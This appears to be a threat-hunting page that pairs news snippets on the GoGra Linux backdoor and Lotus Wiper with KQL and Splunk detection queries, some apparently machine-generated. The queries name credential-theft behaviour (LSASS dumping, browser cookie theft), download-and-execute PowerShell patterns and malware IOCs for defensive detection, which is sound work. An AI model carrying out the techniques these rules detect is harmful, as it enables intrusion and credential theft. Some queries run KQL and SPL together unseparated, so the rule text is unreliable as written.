The threat actor known as Harvester has been attributed to a new Linux version of its GoGra backdoor deployed as part of attacks likely targeting entities in South Asia. "The malware uses the legitimate Microsoft Graph API and Outlook mailboxes as a covert command-and-control (C2) channel, allowing it to bypass traditional perimeter network defenses," the Symantec and Carbon Black Threat Hunter
CVEsCVE-2026-33032CVE-2026-34197
ATT&CKT1176T1190T1195.002T1566T1566.001
Click any ATT&CK pill below to open it on the Matrix
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Harvester GoGra known-bad ELF and PDF lure dropper hashes / filenames
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · [LLM] Harvester GoGra Linux: ELF persistence at ~/.config/systemd/user/userservice spawning /bin/bash
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · [LLM] GoGra Microsoft Graph API beacon: 2-second OData polling to Outlook from Linux host
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-33032", "CVE-2026-34197")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33032", "CVE-2026-34197")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] Harvester GoGra Linux: ELF persistence at ~/.config/systemd/user/userservice spawning /bin/bashInstallationHigh
Hunts the GoGra Linux dropper persistence mechanism. Symantec's IOCs name the persistence binary as '~/.config/systemd/user/userservice' which executes attacker-supplied shell commands via /bin/bash after pulling them from an Outlook C2 mailbox. The path + parent/child relationship is highly specific to this campaign.
Rationale: Symantec's IOC list names the exact persistence path '~/.config/systemd/user/userservice' for the Linux GoGra dropper, and the article confirms execution of attacker tasks via /bin/bash. The combination of that specific path as a parent spawning bash is unique to this implant and not a generic systemd-user pattern.
Cross-checked against:
• https://www.security.com/threat-intelligence/harvester-new-linux-backdoor-gogra
• https://www.bleepingcomputer.com/news/security/new-gogra-malware-for-linux-uses-microsoft-graph-api-for-comms/
• https://securityaffairs.com/191153/malware/microsoft-graph-api-misused-by-new-gogra-linux-malware-for-hidden-communication.html
ATT&CKT1546.013T1059.004T1036.008
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
DeviceProcessEvents
| where Timestamp > ago(30d)
| where DeviceInfo_OSPlatform == "Linux" or InitiatingProcessFolderPath has ".config/systemd/user/userservice" or FolderPath has ".config/systemd/user/userservice"
| where InitiatingProcessFolderPath endswith "/userservice" and InitiatingProcessFolderPath contains "/.config/systemd/user/"
| where FileName in ("bash","sh") or FolderPath == "/bin/bash"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, FileName, FolderPath, ProcessCommandLine, SHA256
| join kind=leftouter (DeviceFileEvents | where FolderPath has ".config/systemd/user/userservice" | project FileSHA256=SHA256, FileName, FileFolderPath=FolderPath, FileTime=Timestamp) on $left.SHA256 == $right.FileSHA256
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_path) as process_path values(Processes.process_command_line) as cmdline values(Processes.parent_process_name) as parent values(Processes.parent_process_path) as parent_path from datamodel=Endpoint.Processes where Processes.os="Linux" (Processes.parent_process_path="*/.config/systemd/user/userservice*" OR Processes.process_path="*/.config/systemd/user/userservice*") (Processes.process_name="bash" OR Processes.process_name="sh" OR Processes.process_path="/bin/bash") by Processes.dest Processes.user Processes.process_name | `drop_dm_object_name(Processes)` | where firstTime > relative_time(now(),"-30d@d")
[LLM] GoGra Microsoft Graph API beacon: 2-second OData polling to Outlook from Linux hostCommand & ControlMedium
Hunts GoGra's covert C2 channel: an infected Linux endpoint issues OData GET requests against the Microsoft Graph mailFolders/messages API roughly every two seconds. A Linux server beaconing to graph.microsoft.com on a sub-5-second cadence is highly unusual outside of legitimate mail clients (rare on servers).
Rationale: The article explicitly states the implant polls a specific Outlook folder 'every two seconds' via OData against graph.microsoft.com and Symantec corroborates the two-second cadence. A Linux host emitting hundreds of TLS connections to graph.microsoft.com with ~2-second inter-arrival spacing is not normal Outlook/Edge behaviour and is not covered by generic 'beacon to cloud service' rules.
Cross-checked against:
• https://www.security.com/threat-intelligence/harvester-new-linux-backdoor-gogra
• https://www.it-connect.tech/gogra-linux-malware-controlled-via-microsoft-graph-and-outlook/
• https://hackread.com/harvester-apt-spying-new-gogra-linux-malware/
ATT&CKT1102.002T1071.003T1568
Data sourcesNetwork_Traffic.All_TrafficWeb.Web
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemoteUrl has "graph.microsoft.com" or RemoteUrl has_any ("/mailFolders/","/messages?$filter","$filter=startswith(subject,'Input'")
| where DeviceInfo_OSPlatform == "Linux" or InitiatingProcessFolderPath startswith "/" and InitiatingProcessFolderPath !startswith "/Applications/" and InitiatingProcessFolderPath !contains ":\\"
| summarize ConnCount=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp), MedianGapSec=percentile(toint(datetime_diff('second',Timestamp,prev(Timestamp,1))),50) by DeviceId, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessSHA256, RemoteUrl
| where ConnCount > 200 and MedianGapSec between (1 .. 5)
| join kind=leftouter (DeviceProcessEvents | where InitiatingProcessFolderPath has ".config/systemd/user/userservice" | project DeviceId, MaliciousProc=InitiatingProcessFolderPath) on DeviceId
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_ip) as dest_ip values(All_Traffic.bytes_in) as bytes_in values(All_Traffic.bytes_out) as bytes_out from datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest="graph.microsoft.com" OR All_Traffic.ssl_subject="*graph.microsoft.com*" OR All_Traffic.url="*graph.microsoft.com/v1.0/me/mailFolders*" OR All_Traffic.url="*graph.microsoft.com/v1.0/users/*/mailFolders*") by All_Traffic.src All_Traffic.app _time span=1m | `drop_dm_object_name(All_Traffic)` | eventstats avg(count) as avg_per_min stdev(count) as sd_per_min by src | where count >= 25 | sort - count
[LLM] Harvester GoGra known-bad ELF and PDF lure dropper hashes / filenamesDeliveryHigh
Direct alerting on the five SHA256 hashes Symantec published for the Linux GoGra dropper / backdoor and on the named PDF lures (umrah.pdf, TheExternalAffairesMinister.pdf, Details Format.pdf). Highest fidelity available for this campaign and useful for retro-hunts in EDR file telemetry.
Rationale: Five SHA256s and four lure/binary filenames are taken directly from Symantec's published IOCs for this campaign and are independently echoed by BleepingComputer and SecurityAffairs. Names like 'TheExternalAffairesMinister.pdf' (note the spelling error reused by the actor) and 'userservice' are unusual enough to make a filename-based hit credible even where hashing is absent.
Cross-checked against:
• https://www.security.com/threat-intelligence/harvester-new-linux-backdoor-gogra
• https://www.bleepingcomputer.com/news/security/new-gogra-malware-for-linux-uses-microsoft-graph-api-for-comms/
• https://securityaffairs.com/191153/malware/microsoft-graph-api-misused-by-new-gogra-linux-malware-for-hidden-communication.html
ATT&CKT1204.002T1036.008
Data sourcesEndpoint.FilesystemEndpoint.Processes
union
( DeviceFileEvents
| where Timestamp > ago(90d)
| where SHA256 in~ ("9c23c65a8a392a3fd885496a5ff2004252f1ad4388814b20e5459695280b0b82","2d0177a00bed31f72b48965bee34cec04cb5be8eeea66ae0bb144f77e4d439b1","74ac41406ce7a7aa992f68b4b3042f980027526f33ec6c8d84cb26f20495c9dc","57cd5721bae65c29e58121b5a9b00487a83b6c37dded56052cab2a67f90ea943","d8d84eaba9b902045ae4fe044e9761ad0ce9051b85feea3f1cf9c80b59b2b123")
or FileName in~ ("umrah.pdf","TheExternalAffairesMinister.pdf","Details Format.pdf","userservice")
| project Timestamp, Source="DeviceFileEvents", DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine ),
( DeviceProcessEvents
| where Timestamp > ago(90d)
| where SHA256 in~ ("9c23c65a8a392a3fd885496a5ff2004252f1ad4388814b20e5459695280b0b82","2d0177a00bed31f72b48965bee34cec04cb5be8eeea66ae0bb144f77e4d439b1","74ac41406ce7a7aa992f68b4b3042f980027526f33ec6c8d84cb26f20495c9dc","57cd5721bae65c29e58121b5a9b00487a83b6c37dded56052cab2a67f90ea943","d8d84eaba9b902045ae4fe044e9761ad0ce9051b85feea3f1cf9c80b59b2b123")
| project Timestamp, Source="DeviceProcessEvents", DeviceName, ActionType="ProcessCreated", FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine=ProcessCommandLine )
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as path values(Filesystem.user) as user values(Filesystem.action) as action from datamodel=Endpoint.Filesystem where (Filesystem.file_hash IN ("9c23c65a8a392a3fd885496a5ff2004252f1ad4388814b20e5459695280b0b82","2d0177a00bed31f72b48965bee34cec04cb5be8eeea66ae0bb144f77e4d439b1","74ac41406ce7a7aa992f68b4b3042f980027526f33ec6c8d84cb26f20495c9dc","57cd5721bae65c29e58121b5a9b00487a83b6c37dded56052cab2a67f90ea943","d8d84eaba9b902045ae4fe044e9761ad0ce9051b85feea3f1cf9c80b59b2b123") OR Filesystem.file_name IN ("umrah.pdf","TheExternalAffairesMinister.pdf","Details Format.pdf","userservice")) by Filesystem.dest Filesystem.file_name Filesystem.file_hash | `drop_dm_object_name(Filesystem)`
2026-04-228 use cases5 techniques6 kill-chain phases detected
Cybersecurity researchers have discovered a previously undocumented data wiper that has been used in attacks targeting Venezuela at the end of last year and the start of 2026. Dubbed Lotus Wiper, the novel file wiper has been used in a destructive campaign targeting the energy and utilities sector in Venezuela, per findings from Kaspersky. "Two batch scripts are responsible for initiating the
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1003T1027T1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Hunts the named first- and second-stage batch droppers used by Lotus Wiper to stage destruction across Venezuelan energy networks. Pivots on the unique script names, the OHSync.xml coordination file copied via NETLOGON, and the UI0Detect service being stopped/disabled — a combination unique to this campaign.
Rationale: OhSyncNow.bat, notesreg.bat, the OHSync.xml gating file on NETLOGON, and disabling UI0Detect are unique-to-Lotus artifacts named in Kaspersky's Securelist write-up and confirmed by BleepingComputer. Each string is rare enough on its own to alert; together they are essentially deterministic.
Cross-checked against:
• https://securelist.com/tr/lotus-wiper/119472/
• https://www.bleepingcomputer.com/news/security/new-lotus-data-wiper-used-against-venezuelan-energy-utility-firms/
ATT&CKT1059.003T1485T1562.001
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
union
( DeviceProcessEvents
| where ProcessCommandLine has_any ("OhSyncNow.bat","notesreg.bat","OHSync.xml")
or InitiatingProcessCommandLine has_any ("OhSyncNow.bat","notesreg.bat")
or (ProcessCommandLine has "UI0Detect" and ProcessCommandLine has_any ("stop","config","disabled","Stop-Service","Set-Service"))
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256 ),
( DeviceFileEvents
| where FileName in~ ("OhSyncNow.bat","notesreg.bat","OHSync.xml")
or FolderPath has @"\NETLOGON\" and FileName =~ "OHSync.xml"
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256 )
| sort by Timestamp desc
